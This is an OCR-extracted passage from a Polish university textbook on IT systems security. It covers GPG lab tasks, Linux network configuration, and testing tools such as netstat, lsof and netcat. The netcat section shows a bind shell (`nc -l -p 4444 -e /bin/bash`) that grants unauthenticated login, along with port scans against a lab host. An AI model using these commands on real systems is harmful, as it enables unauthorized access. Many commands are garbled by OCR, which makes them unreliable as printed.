e itz SK3 full-key hash.

=earch String; :kowalski

Ekran 12-1 Wyszukiwanie klucza publicznego uzytkownika kowal ski

Szukanie klucza publicznego przeprowadzi¢ mozna bezposrednio z programu gpg. Nalezy uzy¢ opcji —-
keyser ver po ktorgl podajemy URL serwera kluczy.

gpg --keyserver URL_serwera_kl uczy --search-key uzytkowni ka

Przyktad pokazano ponizej:

j uka@ali:~$ gpg --keyserver keyserver.ubuntu.com --search-key surnacz
gpg: data source: http://boquil a.canonical.com 11371
(D Tomasz R Surmacz <ts@one. w oc. apk. net >

1024 bit RSA key D39E36B97F6430Cl, created: 2014-06-16 (revoked)

(5) <tsurmacz@sic.ict.pw.woc.pl>
Tomasz R Surmacz <tsurmacz@ct. pw . woc. pl >
Tomasz R Surmacz <ts@apaja.ict.pw.woc.pl>
1024 bit RSA key 1B22839656A1520D, created: 1995-04-23
Keys 1-5 of 5 for "surmacz". Enter nunber(s), Nyext, or Quit > 5
gpg: Total nunber processed: 1
apg: ski pped PGP-2 keys: 1

Przyktad 12-20 Poszukiwanie klucza publicznego dla uzytkownika tsurmacz

12.6 Interfejsy graficzne

Program gpg pracuje w trybie tekstowym. Istnigja jednak do niego interfejsy graficzne (gpg frontend) jak na przyktad
kgpg czy seahor se.
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Passwords and Keys S ® O
File Edit Remote View Help
Passwords L i Filter Q
i Login
= - - Jedrzej Ulasiewicz Personal PGP key
Certificates jedrzej.ulasiewicz@pwr.edu.pl no’

 Gnome2 K.. &
@ User Key 5tor...

£33 System Trust
Secure Shell

& OpenSSH keys
PGP Keys

B GnuPG keys

Ekran 12-2 Wyglad programu seahor se
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12.7  Zadania
W celu przygotowania si¢ do ¢wiczenia nalezy zapozna¢ si¢ z materiatami podanymi w [14], [15], [16].
12.7.1 Szyfrowaniei deszyfrowanie wiadomosci za pomocg metody GPG

Tematem ¢wiczeniajest szyfrowanie i deszyfrowanie wiadomosci za pomoca programu Gnu PG czyli gpg,
zarzadzanie kluczami, szyfrowanie i odszyfrowanie plikdw. Nalezy si¢ zapozna¢ z manualem programu gpg i
literatura np. [14]. W celu wykonania ¢wiczenia nalezy:

1. Utworzy¢ nowyego uzytkownika np. adam (adduser) i zalogowat Sie.
# 1 ogi n adam

2. Uruchomi¢ program gpg z opcja generowania kluczy
Uwaga: nalezy zabezpieczy¢ uzyte hasto.
Wyswietli¢ utworzone klucze

4.  Wyeksportowac klucz publiczny w formacie binarnym i tekstowym

Wymieni¢ si¢ kluczami z partnerem. Przenies¢ plik z kluczami do komputera partnera bezpieczng metoda.

6. Zaimportowac plik z kluczem publicznym partnerai wylistowa¢ nowy zestaw kluczy

7. Utworzy¢ plik tekstowy o nazwie pl i k_j awny. t xt ktory bedziemy szyfrowa¢. Zaszyfrowac plik kluczem
publicznym partnera. Szyfrowanie przeprowadzi¢ w trybie binarnym i tekstowym.

8. Przesta¢ zaszyfrowany plik do komputera partnera
9. Odkodowa¢ zaszyfrowany plik za pomoca programu pgp

10. Wykongj podpis dokumentu (w trybie tekstowym), przedlij go do partnera ktéry sprawdzi jego autentycznosc.
Wyprobuj werge z podpisem w oddzielnym pliku.

12.7.2 Pracazinterfesem graficznym seahor se

Program seahor se jest interfejsem graficznym do programu gpg. Zapozngj si¢ z uzytkowaniem tego programu
Zainstaluj program seahor se
Przeprowadz szyfrowanie i deszyfracje tekstu
Przeprowadz proces podpisywaniai weryfikacji dokumentu

12.7.3 Szyfrowanie danych za pomocg metody XOR

Napisz program szyfrujacy i deszyfrujacy pliki za pomoca metody X OR. Szyfrowanie odbywa sie za pomoca klucza K.
Niech klucz ma dtugos¢ N, kolegjne bajty pliku wejsciowego oznaczymy jako X[ i ] akolegjne bajty pliku wyjsciowego
jako Y[ i ] akolejnebajty kluczajako K[ i ] . Szyfrowane sa bloki pliku wejsciowego dtugosci kluczaczyli N.
Szyfrowanie ma postac:

Y[i] = Xi] ~K[i] dlai=0,1,...,N1
Operacja deszyfracji przebiega wedtug tego samego wzorca. Program ma by¢ wywolywany z parametrami:
szyfr-xor plik_we plik wy klucz

Program powinien:

1.  Sprawdzi¢ czy wprowadzono parametry

2. Otworzy¢ plik wejsciowy

3. Utworzy¢ plik wejsciowy

4.  Czytat kolejne bloki danych z pliku wejsciowego, szyfrowaé jei wpisywat do pliku wyjsciowego
5. Zamkna¢ plik wejsciowy i wyjsciowy.
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13. Konfigurowanieinterfe su sieciowego, testowanie aplikacji sieciowych

13.1  Konfiguracjainterfe su sieciowego

W systemie Linux informacje o interfejsach sieciowych mozemy uzyskaé¢ z linii polecen lub poprzez interfejs
graficzny. Tg sama droga mozna je konfigurowa¢. Komputer moze mie¢ wiecej niz jeden interfejs sieciowy. Np. moze
by¢ wyposazony w wiece niz jedna karte sieciows, karte WiFi, modem GSM |ub potaczenie internetowe moze by¢
tunelowane przez USB. Kazdy interfejs bedzie miat inny adres |P i by¢ moze inne parametry.

Ustawieniu podlegaja nastepujace parametry interfejsu sieciowego

Adres|P

M aska podsieci

Adres |P bramy domysinej

Adres IP serwera DNS (moze by¢ tych adresow wiece))

Nazwa komputera

Oprdcz parametrow interfejsu sieciowego nalezy ustawié nazwe komputera (ang. hostname). Nazwa zapisana jest w
pliku/ et c/ host name lub jest ustalanainnymi metodami opisanymi w [33]. Testowanie nazwy komputera:
polecenie hostname

$host nanme mari a
Parametry konfiguracyjne mogg by¢ ustawione:

Recznie przez operatora
Automatycznie przez system DNS za posredni ctwem protokotu DNS

Znaczenie parametrow:

Adres|P Liczba stuzaca do identyfikacji interfejsu sieciowego w sieci Internet

Maska podsieci Liczba stuzaca do wyodrebnienia z adresu | P czesci sieciowe) i adresu stacji w
podsieci.

Adres bramy domysInej Adres w podsieci do ktdrego maja by¢ wysytane datagramy majace dotrze¢ do
innych sieci.

Adres serweraDNS Adres serwera przeksztatcajacego adresy URL uzywane w systemie WWW na
adresy |IP

Maska podsieci potrzebnajest do ustalenia adresu rozgtoszeniowego ktory jest niezbedny dlainnych protokotow jak
ARPi DHCP.
Konfiguracjasieci w systemie Linux polega na:

1.  Sprawdzeniu zainstalowanych kart sieciowych (lub innych interfejsow sieciowych), instalacji wtasciwych dla
nich sterownikéw o ile nie s3 zainstalowane (sterowniki s3 modutami jadra).

2. Zdecydowaniu czy konfiguracja ma odbywac si¢ recznie czy automatycznie.
3. Jezeli wybrano instalacj¢ r¢czna, nalezy skonfigurowac dane powyzej parametry.
Dostepne interfejsy sieciowe wyswietli¢c mozna za pomoca polecenia:

netstat -i

$netstat -i

Kernel Interface table

Iface MIU Met RX-OK RX-ERR RX-DRP RX-OVR TX-OK TX-ERR TX-DRP TX-OVR Fl g

ethO 1500 O 650026 0 00 116034 0 0 0 BVMRU
l o 16436 0 817 0 00 817 0 0 0 LRU

Przyktad 13-1 Wyswietlenie dostepnych interfejsow
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W trybielinii polecen do eksploracji i konfiguracji interfejsdw sieciowych uzywamy polecen:

ifconfig — konfiguracjai testowanie parametréw interfejsu sieciowego
route - konfiguracja trasowania

Uzywane jest tez nowsze poleceniei p. Poleceniei f confi g:

ifconfig [-v] [-a] [-s] [interface]
ifconfig [-v] interface options | address

Gdzie:
interface Nazwa interfejsu sieciowego, zwykle z liczbowym sufiksem np. ethO, loca
address Adres|P
-V Podawaj obszerne informacje (ang. verbose)
-s Podawaj skrdcone informacje (ang. short)
-a Wyswietl wszystkie interfejsy sieciowe (ang. all)
options Polecenia dotyczace interfejsu
up —wiaczenie interfejsu
down  —wylaczenieinterfejsu
net mask — ustawienie maski sieciowej

Doktadniejszy opis opcji zawarty jest w podreczniku man.

$/sbin/ifconfig

et hO Li nk encap: Et hernet HWaddr 00: Oc: 29: 3e: ce: 3f
i net addr:192.168.141.132 Bcast:192.168.141.255 Mask: 255. 255.255.0
inet6 addr: fe80::20c:29ff:fe3e:ce3f/ 64 Scope:Link
UP BROADCAST RUNNI NG MULTI CAST MrIU. 1500 Metric:1
RX packets: 5825 errors: 0 dropped: 0 overruns: 0 frane: 0
TX packets: 1592 errors: 0 dropped: 0 overruns: 0 carrier:0
col l'i sions: 0 txqueuel en: 1000
RX bytes: 2791548 (2.6 M B) TX bytes: 139639 (136.3 Ki B)
Interrupt: 19 Base address: 0x2000

l o Li nk encap: Local Loopback

Przyktad 13-2 Informacje o interfejsach sieciowych uzyskane za pomoca poleceniai f confi g
Polecenier out e sluzy ustawianie trasy datagraméw:

route [-v] [-A family] add [-net]|-host] target [netrmask Nnj [gw GA [netric N
[ms M [window W [irtt I] [reject] [rmod] [dyn] [reinstate] [[dev] If]

Gdzie:

add Dodawanie nowej trasy

Del Kasowanie trasy istniejacej

- net Cel jest siecia

- host Cel jest stacja

gw GW Wysytaj pakiety przez brame o adresie GW

net mask Nm Ustawianie maski naNm

$route -n

Kernel IP routing table

Desti nati on Gat eway CGennask Fl ags Metric Ref Use I|face
0.0.0.0 192.168.0.1 0.0.0.0 UG 0 0 0 ethO
192.168.0.0 0.0.0.0 255.255.255.0 U 1 0 0 ethO

Przyktad 13-3 Uzyskanie tablicy routingu komputera

Nadawanie adresu | P interfejsom sieciowym

Adres interfejsu sieciowego komputera moze by¢ zadany z gory (adres statyczny) lub ustalany na etapie startu systemu
(adres dynamiczny) przy pomocy ustugi DHCP (ang. Dynamic Host Configuration Protocol). W tym przypadku
komputer wysyta rozgtoszenie w postaci pakietu DHCP. Gdy pakiet dociera do serwera DHCP, przydzielaon
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komputerowi adres IP ktory wraz z innymi parametrami umieszczaw odpowiedzi. Oprocz adresu | P przekazywane
moga by¢ inne parametry takie jak:

Adres |P bramy sieciowej
Adres broadcast

Maska podsieci

Adres serwera DNS

Programem wysyltajacym zadanie DHCP po stronie klientajest dhcl i ent . Jego przyktadowe dziatanie podano
ponizgy.

root @ali:~# dhclient -v ethO

Li steni ng on LPF/ eth0/00: Oc: 29: fc: 56: 26

Sendi ng on LPF/ et hO/ 00: Oc: 29: fc: 56: 26

Sendi ng on Socket /fal | back

DHCPDI SCOVER on et hO to 255.255. 255. 255 port 67 interval 6
DHCPREQUEST of 192.168.1.5 on ethO to 255.255. 255. 255 port 67
DHCPOFFER of 192.168.1.5 from 192. 168. 1. 254

DHCPACK of 192.168.1.5 from 192. 168. 1. 254

snbd. service is not active, cannot rel oad.

bound to 192.168.1.5 -- renewal in 42493 seconds.

Przyktad 13-1 Adres | P przsytany w odpowiedzi na zadanie DHCP.

Przyktad konfiguracji stacji:

ifconfig ethO 192.168. 0.4 net mask 255. 255. 255. 0 up
route add default gw 192.168.0.1 ethO

Wprowadzone opisanym wyzej sposobem zmiany s nietrwate. Aby byty trwate nalezy dokona¢ zmian w plikach
konfiguracyjnych:

/ et c/ host nane Plik zawiera nazwe komputera

/etc/network/interfaces Informacja o konfiguragji interfejsbw

/etc/ hosts Informacja o nazwach i adresach | P waznych komputerow

/etc/resol v. conf Informacja o lokalizacji serwerow nazw

/etc/services Informacja o dostepnych ustugach i ich przydziale do
portow

Tabela 13-1 Waznigjsze pliki konfiguracyjne interfejsu sieciowego
Narzedzia trybu graficznego

Obecnie poleceniai f confi g i rout e rzadko uzywane jest do konfigurowaniainterfejsu sieciowego. Przewaznie
uzywasi¢ interfejsow graficznych. Wymieni¢ tu moznatakie narzedziajak: Net wor k Manager czy W cd.

13.2  Menedzer konfiguracji sieciowych

Opisana uprzednio metoda recznej konfiguracji sieci jest niewystarczajgca dla bardziej ztozonych przypadkéw. Sie¢
powinna by¢ konfigurowana przy starcie systemu. Problem powstaje gdy:

Jesli w komputerze znajduje sie wiele interfejsdw sieciowych to ktéry z nich wybrac.
Jak skonfigurowa¢ parametry sieciowe.
Co zrobi¢ gdy komputer utraci tacznosé sieciowa.

Zarzadzaniem potaczeniami sieciowymi zajmuje si¢ zwykle ustuga menedzera konfiguracji sieciowej. Jednym z
popularnigjszych jest ustuga Net wor k Manager bgdaca demonem systemowym. Uruchamiana jest podczas startu
systemu. Zawiera zbior regut zawierajacych wskazéwki co robi¢ w poszczegdlnych przypadkach. Narzedzie utrzymuje
informacje o:

Dostepnych urzadzeniach sieciowych (informacje jadra) przekazywane przez interfejs D-Bus
Liscie potagczen zawierajacej parametry konfiguracyjne warstwy sieciowsy.
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Kontakt z ustuga nastepuje za pomoca interfejsu graficznego. Uruchomienie nastepuje poprzez kliknigcie w ikone
umieszczong zwykle w gérnym prawym rogul.

|Z‘ MNetwork e 0

€" | Connected - 1000 Mb/s

22 MNetwork prox
« PEEY IPv4 Address 192.168.0.204

IPvE Address fe80::20c:29ff:fefc:5626
Hardware Address 00:0C:29:FC:56:26
Default Route 192.168.0.1
DNS 192.168.0.1

Ekran 13-1 Formularz kontaktu z ustuga : Net wor k Manager a

W trybie tekstowym mozna uzy¢ polecenianncl i .

nncli [OPTIONS...] {help | general | networking | radio | connection |
device | agent | nonitor} [ COMVAND] [ARGUMENTS...]
OBJECT
g[ eneral ] Net wor kManager's general status and operations
n[ et wor ki ng] overal | networking control
r[ adi o] Net wor kManager radi o switches
c[ onnect i on] Net wor kManager' s connecti ons
d[ evi ce] devi ces managed by Networ kManager
al gent ] Net wor kManager secret agent or pol kit agent
n{ oni tor] noni t or Networ kManager changes

Przyktad 13-2 Parametry programu rmcl i

root @ali:~/1ab/zasoby# nntli general status

STATE CONNECTIMITY WFI-HW WFI WAAN- HW - VWAAN
connected full enabl ed enabled enabled enabled
root @ali:~/lab/log# nncli device show

GENERAL. DEVI CE: et hO

GENERAL. TYPE: et her net

GENERAL. HWADDR: 00: 0C: 29: FC: 56: 26
GENERAL. MTU: 1500

GENERAL. STATE: 100 (connect ed)

Przyktad 13-3 Przyktadowe dziatanie programu mcl i

Pliki konfiguracyjne programu Network Manager zawarte sa w katalogu / et ¢/ net wor k. Specyfikuja one dziatania
jakie maja by¢ podjete w réznych sytuacjach.

root @ali:~/lab/log# |'s /etc/network
if-dowmn.d if-post-dowmn.d if-pre-up.d if-up.d interfaces interfaces.d
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Jeszcze jednym narzedziem pomagajacym w testowaniu interfejsu Ethernet jest program et ht ool . Przyktad dziatania
danu jest ponizgj.

root @ali: ~/|ab/zasoby# ethtool ethO
Settings for ethO:

Supported ports: [ TP ]

Supported |ink nodes: 1000baseT/ Ful |

Speed: 1000Md/ s

Dupl ex: Full

Port: Twi sted Pair
PHYAD: O

Transcei ver: internal
Aut o- negoti ation: off
Li nk detected: yes

Informacje o zainstal owanym sprzecie mozna uzyska¢ za pomocs polecen:
| shw —listowanie sprzetu
| spci —listowanie urzadzen pci
| susb - listowanie urzadzen usb

root @ali:~/lab/log# |spci | grep net
02:01.0 Ethernet controller: Advanced Mcro Devices, Inc. [AMD] 79c970 [ PCnet 32

LANCE] (rev 10)

Przyktad 13-4 Uzyskanie informacji o zainstalowanym interfejsie sieciowym

13.3  Testowanie dziatania komunikacji sieciowej
Do testowania komunikacji sieciowej stuza polecenia: pi ng, netstat, Isof, nc (Netcat).

13.3.1 Polecenie ping

Do testowania dostgpnosci zdalnego komputera stuzy polecenie pi ng. Umozliwia ono zmierzenie liczby zgubionych
pakietow oraz opdznien w ich transmigji. Program wykorzystuje protokét ICMP. Gdy jakis komputer nie odpowiada na
ping to nie znaczy ze nie jest aktywny. Odpowiedz na pakiety sondujace moze by¢ zablokowana przez zapore (ang.
Firewall).

ping [-c powodrzenia] [-1 interfejs] adres_IP

Gdzie:
¢ — Liczba powtérzen
| - Oznaczenie interfejsu np. ethO

Program wysyta pakiety ICMP pod adres_|P.

PI NG 156.17.9.3 (156.17.9.3) 56(84) bytes of data.
64 bytes from 156.17.9.3: icnp_req=1 ttl=128 time=0.955 ns
64 bytes from 156.17.9.3: icnp_req=2 ttl =128 tinme=0.628 s

--- 156.17.9.3 ping statistics ---
3 packets transmtted, 3 received, 0% packet |oss, tine 2026ns
rtt mn/avg/ max/ ndev = 0.628/0.753/0.955/0.147 ns

Przyktad 13-4 Testowanie potaczenia ze zdalnym komputerem za pomocg polecenie ping

13.3.2 Polecenie netstat
Polecenie netstat jest podstawowym narzedziem do testowania komunikacji sieciowej. Wyswietla ono nastepujgce
informacje:

aktywne potgczenia sieciowe TCP

porty na ktérych komputer nastuchuije,

tabele trasowania protokotu 1P

statystyki sieci Ethernet

statystyki protokotu |Pv4 (dla protokotow IP, ICMP, TCP i UDP),
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statystyki protokotu |Pv6 (dla protokotow IPv6, ICMPv6, TCP przez IPv6 i UDP przez | Pv6)
inne informacje
Informacje o parametrach polecenia uzyskujemu za pomoca polecenianet st at —h.

netstat [address fanmily options] [--tcp|-t] [--udp|-u] [--udplite]-U
[--rawj-w] [--listening|-1] [--all]-a] [--nuneric|-n]
[--nuneric-hosts] [--nuneric-ports] [--nuneric-users] [--synbolic|-N|
[--extend|-e[--extend|-e]] [--timers|-o0] [--programn-p]
[--verbose|-v] [--continuous|-c] [--wide|]-W

netstat {--route|-r} [address_fam |ly_options]
[--extend|-e[--extend|-e]] [--verbose|-v] [--nuneric|-n]
[--nuneric-hosts] [--nuneric-ports] [--numeric-users]
[--continuous]|-c]

netstat {--interfaces|-i} [--all]|-a] [--extend|-e[--extend|-e]]
[--verbose|-v] [--program-p] [--nunmeric|-n] [--numeric-hosts]
[--nuneric-ports] [--nuneric-users] [--continuous|-c]

Parametry:

- r —wyswietlatablice trasowania

- i —wyswietlainterfejsy

- a —wyswietlanie wszystkich aktywnych potaczen protokotu TCPi portéw protokotu TCP i UDP, na ktorych
komputer nastuchuje

-t - wyswietla potgczenia TCP i porty na ktorych komputer nastuchuje

-r —wyswietlatablice trasowaniajadra

-1 —wyswietlainterfejsy sieciowe

- u - wyswietla aktywne porty UDP

- p - wyswietla nazwy programow

Przykiady:

netstat -t Wyswi etlenie wszystkich potaczen TCP

netstat -x Wyswi etlenie wszystkich potaczen UNIX

net stat -at Wyswietlenie wszystkich nastuchujacych portow TCP
netstat -au Wyswietlenie wszystkich nastuchujacych portéw UDP
netstat -lu Wyswietlenie nastuchujacych portow UDP

netstat -1t Wyswietlenie nastuchujacych portéw TCP

net stat -1 pt Wyswietlenie portéw TCP z nazwami programow
netstat -s Wyswietlenie statystyk

netstat -i Wyswietlenie interfej sbw

Tabela 13-2 Niektore warianty polecenianet st at

$netstat -t

Active Internet connections (W o servers)

Proto Recv-Q Send-Q Local Address Forei gn Address State

tcp 0 0 nmaria.local:ssh 192. 168. 202. 1: 1249 ESTABLI| SHED
tcp 1 O maria.l ocal : 53178 kl ecker4.snt. utwent: ww CLOSE WAI T
Przyktad 13-5 Dziatanie polecenianet st at —t wyswietlenie potaczen TCP

$netstat -au

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Forei gn Address State

udp 0 0 *: boot pc *o*

udp 0 0 *:36560 *ox

udp 0 0 *:854 *ox

Przyktad 13-6 Dziatanie polecenianet st at —au wyswietlenie portéw UDP
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$netstat -1t

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address For ei gn Addr ess State
tcp 0 0 *:sunrpc *ox LI STEN
tcp 0 0 *:ssh *ox LI STEN
tcp 0 0 |l ocal host:ipp *ok LI STEN
tcp 0 0 | ocal host:smtp *o* LI STEN

Przyktad 13-7 Dziatanie polecenianet st at —I t wyswietlenie nastuchujacych TCP portéw

Wirtualne pliki / pr oc

Wirtualne pliki / pr oc/ net zawierajg wieleinformacji natemat interfejsu sieciowego:

/ proc/ net/dev Informacje o urzgdzeniach
/proc/net/tcp Informacje o portach i potagczeniach TCP
/ proc/ net/udp Informacje o portach UDP

/ proc/ net/uni x Informacje o gniazdach Unixa

13.3.3 Narzedzie Isof

Do testowania stanu ustug sieciowych moze tez stuzy¢ znane juz poleceniel sof (ang. list opened files) stuzace do
uzyskiwaniainformacji o otwartych plikach. Wykorzystywany jest tu fakt ze gniazdka sieciowe s takze plikami tyle
ze specjanymi. Aby uzyska¢ informacje o aktywnych aplikacjach sieciowych nalezy uzy¢ opcji —i

I sof -i [protocol ][ @ostnane| hostaddr][:service|port]

root @ali:~/Iab/zasoby# | sof -i

COMVAND PID USER FD TYPE DEVI CE S| ZE/ OFF NODE NAME

rsysl ogd 5656 root 10u | Pv4 209494 0t0 UDP *:36127

dhclient 6509 root 6u | Pv4 212810 0t0 UDP *: boot pc

sshd 15052 r oot 3u | Pv4 244602 0t0 TCP *:ssh (LISTEN)
sshd 15052 root 4u | Pv6 244604 0t0 TCP *:ssh (LISTEN)

i netd 20132 root 4u | Pv4 268413 0t0 TCP *:telnet (LISTEN)
i netd 20132 root 5u | Pv4 268415 0t0 TCP *:ftp (LISTEN)

i netd 20132 root 6u | Pv4 268417 0t0 TCP *:finger (LISTEN)
i netd 20132 root 7u | Pv4 268419 0t0 UDP *:tftp

Przyktad 13-5 Dziatanie polecenialsof w odniesieniu do gniazdek

13.3.4 Narzedzie netcat
Programnet cat (nc) jest uniwersalnym narzgdziem do testowania komunikacji sieciowej. W Ubuntu istnigje werga
BSD programu nc. Werge klasyczng mozna zainstalowa¢ poleceniami:

sudo apt update
sudo apt install netcat-traditional

Podstawowy sposdb uruchomieniajest nastepujacy:

nc [-options] hostnanme port[s] [ports] ... (klient)

nc -1 -p port [-options] [hostnane] [port] (serwer)

Opcje:

-c string - Po potaczeniu string bedzie przekazany do programu /bi n/ sh —c. Nalezy uzywaé ostroznie.

-e fil enane - po potaczeniu wykonany bedzie program podany jako parametr filename.
-1 - tryb nastuchiwania potaczen przychodzacych (ang. listen mode)

-n - tryb numeryczny adresu

-o file - zapisw pliku hex

-p port - numer portu lokalnego, moze by¢ zakres od-do
-b - dozwol one rozgtaszanie UDP

-t - dozwol ona negocjacja telnet

-u - tryb UDP

- doktadne komunikaty, moze by¢ vv
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-z - tryb 0, uzywany do skanowanie
-w wai t - timeout potaczenia

Program net cat ma dwa podstawowe tryby pracy:

jako klient —1aczy sie do serwera
jako serwer - oczekuje na potgczenia, uruchomienie z opcjg - |

Proste potaczenie tcp

W najprostszej konfiguracji najednym z komputeréw nalezy uruchomié program nc w trybie serwera, maon
prowadzi¢ nastuch nadanym porcie(nc —I nr_port u). Nadrugim komputerze uruchamiamy program nc w trybie
klientai taczymy si¢ naten port (nc —v adres_| P port). Po potgczeniu, program nc standardowe wejscie
terminala przytacza si¢ do standardowego wejscia programu nc. Pokazuje to dany nizej przyktad. Najednym z
komputeréw (adresIP 192. 168. 0. 125) prowadzimy nastuch na porcie 4444.

sysadm@zad0l: ~S nc —| -p 4444
Hell o

Przyktad 13-8 Nastuchiwanie w komputerze o adresie IP 192. 168. 0. 125 naporcie 4444
Nastepnie taczymy si¢ z tym komputerem z innego.
nc -v 192.168. 0. 125 4444

root @al i : ~/ | ab/ BUS#

(UNKNOWN) [192.168.0.125] 4444 (?) open
Hel | o

Przyktad 13-9 Nawigzanie potaczeniaz hostem 192. 168. 0. 125 na porcie 4444

Po potaczeniu piszemy naterminalu dowolny komunikat (np. Hel | o) i naciskamy Enter. Napis pojawi Si¢ po stronie
serwera.

Uruchomienie programu po stronie serwera

Jedng z nagjbardzig) interesujgcych opcji programu net cat pracujacego w trybie serwera, jest opcja—e dajaca
mozliwos¢ uruchomieniainnego programu. Moze by¢ to program shel | . Pokazuje to nastepujacy przyktad. Na
komputerzemonol it oadresielP192. 168. 0. 125 uruchamiany jest program nc w trybie serwera. Po
zaakceptowaniu potaczenia, uruchamiany jest program wyspecyfikowany po opcji —e, w tym przypadku / bi n/ bash.

sysadm@ad0l: ~S nc -| —p 4444 —e /bin/bash

Przyktad 13-6 Uruchomienie programu nc w trybie serwera na porcie 4444, po potaczeniu uruchamiany shel |

Nainnym komputerze uruchamiamy program nc w trybie klienta:

root @ali:~/lab/BUS# nc -v 192.168.0.125 4444
Connection to 192.168.0.125 4444 port [tcp/*] Succeed!
host name

nonol it

Przyktad 13-7 Potaczenie z komputerem 192. 168. 0. 125 port 4444

Uzyskany efekt jest analogiczny jak przy wykorzystaniu potaczeniatelnet — zalogowalismy si¢ bez autoryzacji do
komputeranonol i t .

Skanowanie portéw

Program net cat moze by¢ wykorzystany do skanowania portéw. Nalezy uzy¢ opcji:
-n - nie uzywa] DNS, adres numeryczny

-z — zero mode, tylko skanowanie

-w 1 -wait, czekg jedng sekunde na potaczenie

Porty moga by¢ podane w zakresie od-do jak pokazuje ponizszy przykiad.

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systeméw i ustug informatycznych 130

root @ali:~/1ab/zasoby# nc -v -z -w 1 192.168.0.125 20-25
(UNKNOWN) [ 192.168.0.125] 22 (ssh) open
(UNKNOWN) [ 192.168.0.125] 21 (ftp) open

Przyktad 13-8 Skanowanie portéw tcp od 20 do 30 komputera o adresie 192. 168. 0. 125

Wynik skanowania pokazuje ze otwarte s3 porty 21 i 22. Skanowa¢ moznatakze porty udp.

root @ali:~/lab/zasoby# nc -v -z -u 192.168.0. 125 20-30
nmonol it [192.168.0.125] 24 (?) open

nmonol it [192.168.0.125] 23 (?) open

nonol it [192.168.0.125] 22 (ssh) open

nmonol it [192.168.0.125] 21 (fsp) open

nmonol it [192.168.0.125] 20 (?) open

Przyktad 13-9 Skanowanie portéw udp od 20 do 30 komputera o adresie 192. 168. 0. 125

Przesytanie plikéw
Program net cat moze by¢ wykorzystany do przesytania plikéw. Nalezy skorzysta¢ z mozliwosci zmiany
standardowego wejsciai wyjscia programu. Wykorzystuje si¢ symbole >, >>, <, <<, |.

root @ali:~/1ab/zasoby# echo "Hello, cos jest wtympliku" > original _file
root @ali:~/Iab/zasoby# nc -w 3 192.168.0.125 4444 < original _file

Przyktad 13-10 Wystanie pliku or i gi nal _fi | e do komputera 192. 168. 0. 125

Po stronie odbiorcze.

[root @onol it ~]#nc —-I —p 4444 > received
[root @onol it ~]#cat received
Hell o, cos jest wtympliku

Przyktad 13-11 Odbi6r pliku received
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14. Ustugi sieciowei ich konfiguracja

141  Uslugi sieciowe

Plik / et c/ ser vi ces okresla zasob dostepnych ustug sieciowych. Kazda linia zawiera kolejno:

nazwe ustugi,

numer przypisanego je portu,

typ ustugi

przypisane dangj ustudze aliasy (opcjonalnie).

Przykiad pliku/ et c/ ser vi ces:

Ustuga Port/ Alias
protokot

echo 7/tcp

echo 7/ udp

dayti nme 13/tcp

dayti nme 13/ udp

net st at 15/tcp

ftp-data 20/ tcp

ftp 21/ tcp

ssh 22/ tcp

ssh 22/ udp

t el net 23/tcp

sntp 25/tcp mai

time 37/tcp ti mserver

time 37/ udp timserver

nameserver 42/ tcp name

tftp 69/ udp

VWY 80/tcp http

VWY 80/ udp

rtel net 107/tcp

rtel net 107/ udp

pop3 110/ tcp pop- 3

pop3 110/ udp pop- 3

sunr pc 111/ tcp por t mapper

sunrpc 111/ udp port mapper

nt p 123/ udp

snnp 161/tcp

snmp 161/ udp

Tab. 14-1 Fragment pliku/ et ¢/ servi ces

Komentarz

# SSH Renote Logi n Protocol

# | EN 116

Wor | dW deWeb HTTP
Hyper Text Transfer Protocol
Renot e Tel net

H* H

# POP version 3
# RPC 4.0 portmapper
Net wor k Ti ne Prot ocol

Si npl e Net Mgnt Protocol
Sinpl e Net Mgnt Protocol

H H

Nr | Nazwa Funkcja

1 echo Odsytanie odebranych znakéw do klienta

2 ftp Przesytanie plikow FTP

3 tftp Trywialne przesytanie plikow

4 t el net Interpreter polecen

5 VWY Serwer WWW

6 sntp Obstuga poczty elektronicznej

7 sunr pc Lacznik zdalnego wywotywanie procedur RPC
8 pop3 Obstuga poczty elektronicznej

9 rtel net Zdalny interpreter polecen

10 |ssh Bezpieczna konsola

11 |netstat Prezentacja aktualnych potaczen sieciowych

Tabela 14-1 Niektore ustugi wyszczegdlnionew pliku/ et ¢/ servi ces

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskiej

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systeméw i ustug informatycznych 132

14.2 Super serwer sieciowy inetd

W systemie Linux i Unix dostepnych jest wiele ustug dostepnych przez sie¢. Gdyby serwery tych ustug byty caty czas
aktywne bl okowatyby zasoby systemowe gdyz znaczna czgs¢ tych ustug bytaby aktywowana tylko niekiedy. Komputer
moze swiadczy¢ ustugi na dwa sposoby:

Ustuga moze by¢ caty czas dostepna— tak jest w przypadku intensywnie wykorzystywanych, uruchamiana jest
przy starcie systemu jako demon
Ustuga aktywowana na zadanie — rozwigzanie stosowane gdy ustuga potrzebna jest od czasu do czasu.

W praktyce rzadzigj potrzebne ustugi s3 aktywowane przez super serwer sieciowy i net d. W zaleznosci od dystrybucji
moga by¢ uzywane rozne klony programu inetd: xi net d, openbsd-i netd, netkit-inetd,
inetutils-inetd, mcro-inetd, rlinetd .

14.2.1 Plik konfiguracyjny
Przy starcie i net d odczytuje swoj plik konfiguracyjny (zwykle / et ¢/ i net d. conf ). Kazdalinia pliku zawiera
nastepujace informacje:

Nazwa ustugi

Styl komunikacji gniazdka—st ream dgram raw.

Typ protokotu - udp, tcp.

Opcje-{wai t | nowai t } [/ max- chi | d[ / max- connecti ons- per-i p- per-ni nut e[/ max-chil d-
per-ip]]]

Uzytkownik, grupa

Nazwa programu wykonujacego ustuge

Argumenty programu

Opcjawai t | nowai t specyfikuje czy nowy demon ustugi ma by¢ uruchomiony wspotbieznie czy czeka¢ az biezacy
demon si¢ zakonczy. Gniazdka typu dgr ammusza mie¢ opcje wai t podczas gdy gniazdatypu st r eamuzywajg
zwykle opcji nowai t .

#<servi ce_name> <sock_type> <proto> <flags> <user> <server_pat h> <args>
#

#: STANDARD: These are standard servi ces.

ftp streamtcp nowait root /usr/shin/tcpd {fusr/sbin/in.ftpd
telnet streamtcp nowait root /usr/ucb/telnetd in.telnetd

tftp dgram udp wait bin /usr/ucb/tftpd in.tftpd

